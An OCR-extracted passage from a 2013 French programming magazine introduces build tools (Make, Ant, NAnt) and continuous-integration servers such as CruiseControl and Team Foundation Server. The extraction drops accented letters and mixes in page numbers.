Un outil bien connu des utilisateurs de plateforme UNIX : Le logiciel Make se base
sur des fichiers .makefile et peut sapparenter aux scripts shell, la diffrence que
Make se base sur les dates des fichiers
sources et des binaires gnrs pour
savoir sil doit les gnrer de nouveau.
Un grand classique de la compilation dapplications Java : Le logiciel open source Ant
(Another neat tool) sappuie quant lui sur
un fichier build.xml pour y dcrire les
actions effectuer. Sa portabilit aussi bien
sur les environnements Windows que sur
les environnements UNIX, ainsi que son
panel de fonctionnalits disponibles en standard en font un outil de choix lorsquil est
question de gnrer des applications Java.
Un outil similaire Ant pour la compilation
dapplications .NET : Le logiciel open source Nant (Not Ant) est globalement comparable Ant, cette fois-ci destin la
gnration dapplications .NET.
Un autre outil populaire dans lunivers de la
PROgrammez !
< 67 >
MAI
2013
66-69
20/04/13
00:35
Page 68
i je dbute avec...
leur excution. Pour aider dans cette lourde
tche, les serveurs de Build sont pour la plupart capables dexcuter les processus de
Builds prsents auparavant, denvoyer des
alertes par emails lorsquune erreur survient
durant le processus, ainsi que de se connecter divers gestionnaires de code source.
Ils disposent trs souvent dun tableau de
bord permettant davoir une vision plus globale sur la russite des Builds. De nouveau,
une multitude de solutions open source ou
propritaires sont disponibles pour remplir
ce rle. Parmi celles-ci on peut citer :
Lun des outils les plus populaires si ce
nest le plus populaire : Le logiciel open
source CruiseControl est une rfrence
dans la catgorie des logiciels dintgration
continue. Il peut tre utilis pour grer des
Builds dapplications Java, mais aussi des
applications .NET dans sa version CruiseControl.NET, ainsi que des applications
Ruby dans sa version CruiseControl.rb.
Team Foundation Server, plutt orient
sur la gestion des applications .NET, est un
outil qui met le focus sur les mthodes
Agiles dans la version 2012. Ses outils de
Build dintgration continue, accompagns
dune bonne utilisation des autres composantes de TFS, permettent de mettre en
place des scnarios avancs tels que la
capture automatique des informations de
Debug (Intellitrace) dune application en
test ou en production, ou encore de la
rcupration des tests manuels ou automatiss impacts par les modifications
effectues sur le code source, entre 2 versions dune application.
Il existe bien dautres solutions qui possdent chacune leurs petites spcificits :
AnthillPro dUrbanCode, Apach Continuum,
Jenkins et Hudson, TeamCity de Jetbrains,
Rational Build Forge dIBM, Bamboo dAtlassian, etc.